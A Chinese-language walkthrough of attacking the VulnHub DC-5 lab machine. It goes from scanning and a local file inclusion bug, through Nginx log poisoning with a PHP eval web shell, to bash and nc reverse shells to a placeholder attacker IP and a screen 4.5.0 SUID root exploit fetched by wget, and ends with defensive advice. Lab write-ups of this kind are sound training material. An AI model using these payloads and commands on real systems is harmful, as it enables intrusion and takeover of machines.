VulnHub靶机 DC-5 打靶 详细渗透过程
字数 1207 2025-08-19 12:42:26
VulnHub靶机 DC-5 渗透测试详细教程
一、靶机环境准备
-
靶机下载:
- 下载地址:https://download.vulnhub.com/dc/DC-5.zip
- 将下载的ZIP文件解压后导入虚拟机软件(如VMware或VirtualBox)
-
网络配置:
- 确保攻击机(Kali Linux)和靶机在同一网络段
- 建议使用NAT或桥接模式
二、信息收集阶段
1. 主机发现
使用以下命令发现靶机IP:
arp-scan -l
# 或
nmap -sn 192.168.1.0/24
2. 端口扫描
扫描开放端口:
nmap -p- 192.168.43.192
典型结果会显示开放以下端口:
- 80/tcp (HTTP服务)
- 111/tcp (RPCbind)
- 41237/tcp (未知服务)
详细服务扫描:
nmap -p80,111,41237 -sV -A 192.168.43.192
三、Web应用渗透
1. 目录爆破
使用dirsearch进行目录枚举:
dirsearch -u http://192.168.43.192 -i 200
发现的重要目录:
- /footer.php
- /thankyou.php
- /contact.php
2. 文件包含漏洞发现
观察发现:
- 访问/footer.php和/thankyou.php时,页面底部年份会变化
- 这表明这些页面可能动态包含某个文件
进一步目录爆破:
dirsearch -u http://192.168.43.192/thankyou.php -e* -i 200
3. 文件包含漏洞利用
尝试读取/etc/passwd:
http://192.168.43.192/thankyou.php?file=/etc/passwd
参数发现技巧:
wfuzz -w /usr/share/wfuzz/wordlist/general/common.txt http://192.168.43.192/thankyou.php?FUZZ=/etc/passwd
四、获取初始Shell
1. 通过日志文件包含获取Web Shell
-
确定Web服务器为Nginx,尝试包含日志文件:
http://192.168.43.192/thankyou.php?file=/var/log/nginx/access.log -
在User-Agent中插入PHP代码:
<?php @eval($_POST['cmd']);?> -
使用curl或Burp Suite修改请求头:
curl -A "<?php @eval(\$_POST['cmd']);?>" http://192.168.43.192/ -
验证PHP代码执行:
http://192.168.43.192/thankyou.php?file=/var/log/nginx/access.log&cmd=whoami -
使用蚁剑或其他Web Shell管理工具连接:
- 连接URL:http://192.168.43.192/thankyou.php?file=/var/log/nginx/access.log
- 密码:cmd
2. 反弹Shell
在蚁剑虚拟终端尝试反弹Shell:
# 方法1:bash反弹
bash -i >& /dev/tcp/攻击机IP/8888 0>&1
# 方法2:nc反弹
nc -e /bin/bash 攻击机IP 8888
攻击机监听:
nc -lvvp 8888
获取稳定Shell:
python -c "import pty;pty.spawn('/bin/bash')"
五、权限提升
1. 查找SUID权限文件
find / -perm -u=s -type f 2>/dev/null
发现关键文件:
- /usr/bin/screen-4.5.0
2. 利用screen-4.5.0漏洞提权
-
搜索漏洞:
- screen 4.5.0存在本地提权漏洞(CVE-2017-5618)
-
下载利用代码:
- 攻击机开启HTTP服务:
python3 -m http.server 8080 - 靶机下载利用代码:
wget http://攻击机IP:8080/41154.sh wget http://攻击机IP:8080/41154.c
- 攻击机开启HTTP服务:
-
编译执行:
chmod u+x 41154.sh ./41154.sh -
成功获取root权限
六、总结与防御建议
漏洞链分析:
- 文件包含漏洞(LFI) → Web Shell → 反弹Shell → SUID提权
防御措施:
-
文件包含漏洞防御:
- 禁用动态文件包含
- 使用白名单限制包含文件
- 设置open_basedir限制
-
Web日志安全:
- 日志文件不可被Web用户读取
- 日志目录设置适当权限
-
SUID权限管理:
- 定期检查SUID/SGID文件
- 删除不必要的SUID权限
-
软件更新:
- 及时更新存在漏洞的软件(如screen)
通过本教程,您应该已经掌握了从信息收集到权限提升的完整渗透测试流程,特别是文件包含漏洞的利用和SUID提权技术的实际应用。